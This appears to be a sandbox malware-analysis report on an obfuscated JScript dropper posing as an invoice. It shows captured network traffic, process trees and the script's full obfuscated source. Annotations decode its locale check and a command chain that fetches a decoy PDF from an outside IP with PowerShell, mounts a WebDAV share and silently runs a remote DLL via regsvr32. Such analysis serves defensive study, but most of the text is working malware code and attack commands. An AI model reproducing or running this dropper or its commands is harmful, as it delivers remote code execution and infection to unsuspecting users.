6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:43:22.193386078 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:43:22.193403006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:43:22.193417072 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 06:43:22.193646908 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:43:22.193670034 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:43:22.193686008 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:43:22.193701029 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:43:22.193717003 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:43:22.193733931 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:43:22.198870897 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49737	193.143.1.205	8888	2088	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:23.529834986 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:43:24.294914007 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:43:17
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js"
Imagebase:	0x7ff76ec90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:43:18
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll
Imagebase:	0x7ff6d5810000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:43:18
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:43:18
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:43:22
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:43:22
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d5810000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:43:22
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63f210000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:43:23
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:43:23
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:43:23
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1684,i,294504916032587908,5039764811623114837,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function apctgnh() {	apctgnh() ➔ undefined
1	giutbsjln = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vtnvdez = this[fryhrxqvw + owbtrls + koyzuph + xfbidmjd + hqbguzs + lrbax + rfzdq + yuecimb] ( this[orexjjtnv + iegcms + sejbb + koyzuph + onsjolhdq + fryhrxqvw + yuecimb][tvzajhrs + koyzuph + hqbguzs + owbtrls + yuecimb + hqbguzs + cypsysa + izoyxerdp + bgqklebd + hqbguzs + sejbb + yuecimb] ( orexjjtnv + iegcms + sejbb + koyzuph + onsjolhdq + fryhrxqvw + yuecimb + jlczkucx + iegcms + xrnqexvs + hqbguzs + tnclvf + tnclvf ) [wthcypdxi + hqbguzs + weseyp + wthcypdxi + hqbguzs + owbtrls + lvqukoe] ( kcwzgjnkk + sysph + mcnabcsf + ikaafhiq + vnnuvkup + tvzajhrs + tklorooq + wthcypdxi + wthcypdxi + mcnabcsf + dzaotfp + qrdilcuik + vnnuvkup + tklorooq + iegcms + mcnabcsf + wthcypdxi + qlkvbroj + tvzajhrs + jvqijol + rfzdq + yuecimb + koyzuph + jvqijol + tnclvf + yiboan + ieakqj + owbtrls + rfzdq + hqbguzs + tnclvf + qlkvbroj + lrbax + rfzdq + yuecimb + hqbguzs + koyzuph + rfzdq + owbtrls + yuecimb + onsjolhdq + jvqijol + rfzdq + owbtrls + tnclvf + qlkvbroj + oioxek + jvqijol + sejbb + owbtrls + tnclvf + hqbguzs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zcgcgf = 0 ; zcgcgf < giutbsjln[tnclvf + hqbguzs + rfzdq + weseyp + yuecimb + xrnqexvs] ; ++ zcgcgf )
4	{
5	if ( vtnvdez == giutbsjln[zcgcgf] )
6	{
7	vtnvdez = true;
8	break ;
9	}
10	}
11	if ( vtnvdez !== true )
12	this[orexjjtnv + iegcms + sejbb + koyzuph + onsjolhdq + fryhrxqvw + yuecimb][wyxux + trvsfvj + onsjolhdq + yuecimb] ( );
13	this[orexjjtnv + iegcms + sejbb + koyzuph + onsjolhdq + fryhrxqvw + yuecimb][tvzajhrs + koyzuph + hqbguzs + owbtrls + yuecimb + hqbguzs + cypsysa + izoyxerdp + bgqklebd + hqbguzs + sejbb + yuecimb] ( orexjjtnv + iegcms + sejbb + koyzuph + onsjolhdq + fryhrxqvw + yuecimb + jlczkucx + iegcms + xrnqexvs + hqbguzs + tnclvf + tnclvf ) [koyzuph + trvsfvj + rfzdq] ( sejbb + inxsdb + lvqukoe + yiboan + jgnhku + sejbb + yiboan + fryhrxqvw + jvqijol + lcgwzwfk + hqbguzs + koyzuph + xfbidmjd + xrnqexvs + hqbguzs + tnclvf + tnclvf + jlczkucx + hqbguzs + ryfchuf + hqbguzs + yiboan + aiaqap + tvzajhrs + jvqijol + inxsdb + inxsdb + owbtrls + rfzdq + lvqukoe + yiboan + upzdu + lrbax + rfzdq + ivekd + jvqijol + mmjosc + hqbguzs + aiaqap + orexjjtnv + hqbguzs + izoyxerdp + wthcypdxi + hqbguzs + bnpaz + trvsfvj + hqbguzs + xfbidmjd + yuecimb + yiboan + aiaqap + cypsysa + trvsfvj + yuecimb + zqxgf + onsjolhdq + tnclvf + hqbguzs + yiboan + jirjmka + yuecimb + hqbguzs + inxsdb + fryhrxqvw + jirjmka + qlkvbroj + onsjolhdq + rfzdq + ivekd + jvqijol + onsjolhdq + sejbb + hqbguzs + jlczkucx + fryhrxqvw + lvqukoe + rtdtth + yiboan + xrnqexvs + yuecimb + yuecimb + fryhrxqvw + qnbiugvg + jgnhku + jgnhku + ugsnkbpjp + ljkkiom + slcav + jlczkucx + ugsnkbpjp + vbumvj + slcav + jlczkucx + ugsnkbpjp + jlczkucx + qevihewh + fqohnvvy + tagbnc + jgnhku + onsjolhdq + rfzdq + ivekd + jvqijol + onsjolhdq + sejbb + hqbguzs + jlczkucx + fryhrxqvw + xrnqexvs + fryhrxqvw + upzdu + bymzbnxr + bymzbnxr + xfbidmjd + yuecimb + owbtrls + koyzuph + yuecimb + yiboan + jirjmka + yuecimb + hqbguzs + inxsdb + fryhrxqvw + jirjmka + qlkvbroj + onsjolhdq + rfzdq + ivekd + jvqijol + onsjolhdq + sejbb + hqbguzs + jlczkucx + fryhrxqvw + lvqukoe + rtdtth + bymzbnxr + bymzbnxr + sejbb + inxsdb + lvqukoe + yiboan + jgnhku + sejbb + yiboan + rfzdq + hqbguzs + yuecimb + yiboan + trvsfvj + xfbidmjd + hqbguzs + yiboan + qlkvbroj + qlkvbroj + ugsnkbpjp + ljkkiom + slcav + jlczkucx + ugsnkbpjp + vbumvj + slcav + jlczkucx + ugsnkbpjp + jlczkucx + qevihewh + fqohnvvy + tagbnc + zfxnyu + avxbw + avxbw + avxbw + avxbw + qlkvbroj + lvqukoe + owbtrls + ivekd + lcgwzwfk + lcgwzwfk + lcgwzwfk + koyzuph + jvqijol + jvqijol + yuecimb + qlkvbroj + bymzbnxr + bymzbnxr + sejbb + inxsdb + lvqukoe + yiboan + jgnhku + sejbb + yiboan + koyzuph + hqbguzs + weseyp + xfbidmjd + ivekd + koyzuph + slcav + qevihewh + yiboan + jgnhku + xfbidmjd + yiboan + qlkvbroj + qlkvbroj + ugsnkbpjp + ljkkiom + slcav + jlczkucx + ugsnkbpjp + vbumvj + slcav + jlczkucx + ugsnkbpjp + jlczkucx + qevihewh + fqohnvvy + tagbnc + zfxnyu + avxbw + avxbw + avxbw + avxbw + qlkvbroj + lvqukoe + owbtrls + ivekd + lcgwzwfk + lcgwzwfk + lcgwzwfk + koyzuph + jvqijol + jvqijol + yuecimb + qlkvbroj + ugsnkbpjp + fqohnvvy + ugsnkbpjp + avxbw + ljkkiom + ugsnkbpjp + tagbnc + fqohnvvy + aycwqk + ugsnkbpjp + qevihewh + ljkkiom + tagbnc + ugsnkbpjp + jlczkucx + lvqukoe + tnclvf + tnclvf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll",0,false) ➔ 0
14	}
15	lrbax = "j";
16	lrbax = "x";
17	lrbax = "m";
18	lrbax = "o";
19	lrbax = "R";
20	lrbax = "Q";
21	lrbax = "p";
22	lrbax = "D";
23	lrbax = "g";
24	lrbax = "Z";
25	lrbax = "d";
26	lrbax = "n";
27	lrbax = "J";
28	lrbax = "V";
29	lrbax = "w";
30	lrbax = "r";
31	lrbax = "L";
32	lrbax = "E";
33	lrbax = "R";
34	lrbax = "i";
35	lrbax = "i";
36	lrbax = "F";
37	lrbax = "D";
38	lrbax = "m";
39	lrbax = "M";
40	lrbax = "t";
41	lrbax = "X";
42	lrbax = "C";
43	lrbax = "C";
44	lrbax = "j";
45	lrbax = "z";
46	lrbax = "k";
47	lrbax = "c";
48	lrbax = "q";
49	lrbax = "v";
50	lrbax = "F";
51	lrbax = "o";
52	lrbax = "q";
53	lrbax = "l";
54	lrbax = "a";
55	lrbax = "i";
56	lrbax = "I";
57	oioxek = "i";
58	oioxek = "O";
59	oioxek = "c";
60	oioxek = "V";
61	oioxek = "O";
62	oioxek = "K";
63	oioxek = "E";
64	oioxek = "C";
65	oioxek = "f";
66	oioxek = "T";
67	oioxek = "k";
68	oioxek = "o";
69	oioxek = "d";
70	oioxek = "q";
71	oioxek = "V";
72	oioxek = "N";
73	oioxek = "J";
74	oioxek = "J";
75	oioxek = "F";
76	oioxek = "Y";
77	oioxek = "X";
78	oioxek = "s";
79	oioxek = "S";
80	oioxek = "b";
81	oioxek = "D";
82	oioxek = "w";
83	oioxek = "T";
84	oioxek = "f";
85	oioxek = "k";
86	oioxek = "f";
87	oioxek = "S";
88	oioxek = "O";
89	oioxek = "K";
90	oioxek = "m";
91	oioxek = "R";
92	oioxek = "Q";
93	oioxek = "c";
94	oioxek = "P";
95	oioxek = "p";
96	oioxek = "L";
97	xfbidmjd = "H";
98	xfbidmjd = "J";
99	xfbidmjd = "C";
100	xfbidmjd = "d";
101	xfbidmjd = "Q";
102	xfbidmjd = "I";
103	xfbidmjd = "W";
104	xfbidmjd = "F";
105	xfbidmjd = "X";
106	xfbidmjd = "v";
107	xfbidmjd = "D";
108	xfbidmjd = "n";
109	xfbidmjd = "A";
110	xfbidmjd = "u";
111	xfbidmjd = "D";
112	xfbidmjd = "T";
113	xfbidmjd = "s";
114	kcwzgjnkk = "R";
115	kcwzgjnkk = "r";
116	kcwzgjnkk = "X";
117	kcwzgjnkk = "O";
118	kcwzgjnkk = "v";
119	kcwzgjnkk = "s";
120	kcwzgjnkk = "g";
121	kcwzgjnkk = "p";
122	kcwzgjnkk = "Q";
123	kcwzgjnkk = "R";
124	kcwzgjnkk = "W";
125	kcwzgjnkk = "q";
126	kcwzgjnkk = "X";
127	kcwzgjnkk = "K";
128	kcwzgjnkk = "E";
129	kcwzgjnkk = "q";
130	kcwzgjnkk = "l";
131	kcwzgjnkk = "N";
132	kcwzgjnkk = "j";
133	kcwzgjnkk = "F";
134	kcwzgjnkk = "j";
135	kcwzgjnkk = "R";
136	kcwzgjnkk = "O";
137	kcwzgjnkk = "P";
138	kcwzgjnkk = "s";
139	kcwzgjnkk = "F";
140	kcwzgjnkk = "A";
141	kcwzgjnkk = "H";
142	iegcms = "a";
143	iegcms = "p";
144	iegcms = "A";
145	iegcms = "B";
146	iegcms = "Q";
147	iegcms = "h";
148	iegcms = "W";
149	iegcms = "X";
150	iegcms = "J";
151	iegcms = "T";
152	iegcms = "l";
153	iegcms = "m";
154	iegcms = "e";
155	iegcms = "Y";
156	iegcms = "F";
157	iegcms = "y";
158	iegcms = "f";
159	iegcms = "y";
160	iegcms = "y";
161	iegcms = "I";
162	iegcms = "m";
163	iegcms = "H";
164	iegcms = "k";
165	iegcms = "p";
166	iegcms = "k";
167	iegcms = "q";
168	iegcms = "T";
169	iegcms = "T";
170	iegcms = "w";
171	iegcms = "x";
172	iegcms = "h";
173	iegcms = "D";
174	iegcms = "S";
175	mmjosc = "F";
176	mmjosc = "m";
177	mmjosc = "e";
178	mmjosc = "M";
179	mmjosc = "f";
180	mmjosc = "e";
181	mmjosc = "P";
182	mmjosc = "a";
183	mmjosc = "d";
184	mmjosc = "F";
185	mmjosc = "U";
186	mmjosc = "l";
187	mmjosc = "T";
188	mmjosc = "S";
189	mmjosc = "k";
190	ieakqj = "N";
191	ieakqj = "T";
192	ieakqj = "f";
193	ieakqj = "y";
194	ieakqj = "Q";
195	ieakqj = "p";
196	ieakqj = "t";
197	ieakqj = "q";
198	ieakqj = "D";
199	ieakqj = "D";
200	ieakqj = "r";
201	ieakqj = "j";
202	ieakqj = "g";
203	ieakqj = "Z";
204	ieakqj = "t";
205	ieakqj = "U";
206	ieakqj = "u";
207	ieakqj = "v";
208	ieakqj = "A";
209	ieakqj = "d";
210	ieakqj = "u";
211	ieakqj = "Y";
212	ieakqj = "q";
213	ieakqj = "O";
214	ieakqj = "b";
215	ieakqj = "C";
216	ieakqj = "a";
217	ieakqj = "U";
218	ieakqj = "X";
219	ieakqj = "g";
220	ieakqj = "P";
221	ieakqj = "P";
222	ieakqj = "M";
223	ieakqj = "T";
224	ieakqj = "l";
225	ieakqj = "d";
226	ieakqj = "j";
227	ieakqj = "U";
228	ieakqj = "I";
229	ieakqj = "E";
230	ieakqj = "P";
231	jirjmka = "a";
232	jirjmka = "o";
233	jirjmka = "%";
234	qnbiugvg = "S";
235	qnbiugvg = "p";
236	qnbiugvg = "U";
237	qnbiugvg = "D";
238	qnbiugvg = "q";
239	qnbiugvg = "N";
240	qnbiugvg = "f";
241	qnbiugvg = "b";
242	qnbiugvg = "i";
243	qnbiugvg = "K";
244	qnbiugvg = "s";
245	qnbiugvg = "o";
246	qnbiugvg = "K";
247	qnbiugvg = "g";
248	qnbiugvg = "E";
249	qnbiugvg = "J";
250	qnbiugvg = ":";
251	orexjjtnv = "m";
252	orexjjtnv = "X";
253	orexjjtnv = "D";
254	orexjjtnv = "F";
255	orexjjtnv = "T";
256	orexjjtnv = "f";
257	orexjjtnv = "y";
258	orexjjtnv = "f";
259	orexjjtnv = "B";
260	orexjjtnv = "g";
261	orexjjtnv = "W";
262	wthcypdxi = "G";
263	wthcypdxi = "i";
264	wthcypdxi = "t";
265	wthcypdxi = "E";
266	wthcypdxi = "a";
267	wthcypdxi = "x";
268	wthcypdxi = "c";
269	wthcypdxi = "G";
270	wthcypdxi = "o";
271	wthcypdxi = "f";
272	wthcypdxi = "Y";
273	wthcypdxi = "R";
274	izoyxerdp = "v";
275	izoyxerdp = "B";
276	izoyxerdp = "A";
277	izoyxerdp = "R";
278	izoyxerdp = "T";
279	izoyxerdp = "c";
280	izoyxerdp = "x";
281	izoyxerdp = "M";
282	izoyxerdp = "I";
283	izoyxerdp = "S";
284	izoyxerdp = "z";
285	izoyxerdp = "r";
286	izoyxerdp = "h";
287	izoyxerdp = "j";
288	izoyxerdp = "G";
289	izoyxerdp = "h";
290	izoyxerdp = "B";
291	izoyxerdp = "U";
292	izoyxerdp = "I";
293	izoyxerdp = "i";
294	izoyxerdp = "S";
295	izoyxerdp = "E";
296	izoyxerdp = "b";
297	sejbb = "i";
298	sejbb = "k";
299	sejbb = "W";
300	sejbb = "l";
301	sejbb = "g";
302	sejbb = "m";
303	sejbb = "a";
304	sejbb = "f";
305	sejbb = "g";
306	sejbb = "L";
307	sejbb = "F";
308	sejbb = "U";
309	sejbb = "H";
310	sejbb = "j";
311	sejbb = "c";
312	mcnabcsf = "y";
313	mcnabcsf = "u";
314	mcnabcsf = "o";
315	mcnabcsf = "y";
316	mcnabcsf = "T";
317	mcnabcsf = "k";
318	mcnabcsf = "Q";
319	mcnabcsf = "L";
320	mcnabcsf = "E";
321	aycwqk = "y";
322	aycwqk = "o";
323	aycwqk = "R";
324	aycwqk = "t";
325	aycwqk = "F";
326	aycwqk = "F";
327	aycwqk = "n";
328	aycwqk = "R";
329	aycwqk = "Z";
330	aycwqk = "x";
331	aycwqk = "a";
332	aycwqk = "r";
333	aycwqk = "b";
334	aycwqk = "6";
335	weseyp = "c";
336	weseyp = "V";
337	weseyp = "h";
338	weseyp = "o";
339	weseyp = "T";
340	weseyp = "q";
341	weseyp = "s";
342	weseyp = "R";
343	weseyp = "p";
344	weseyp = "D";
345	weseyp = "P";
346	weseyp = "K";
347	weseyp = "n";
348	weseyp = "a";
349	weseyp = "K";
350	weseyp = "U";
351	weseyp = "D";
352	weseyp = "b";
353	weseyp = "g";
354	weseyp = "b";
355	weseyp = "M";
356	weseyp = "a";
357	weseyp = "s";
358	weseyp = "d";
359	weseyp = "R";
360	weseyp = "g";
361	tnclvf = "b";
362	tnclvf = "n";
363	tnclvf = "c";
364	tnclvf = "x";
365	tnclvf = "K";
366	tnclvf = "V";
367	tnclvf = "m";
368	tnclvf = "c";
369	tnclvf = "P";
370	tnclvf = "S";
371	tnclvf = "D";
372	tnclvf = "G";
373	tnclvf = "H";
374	tnclvf = "b";
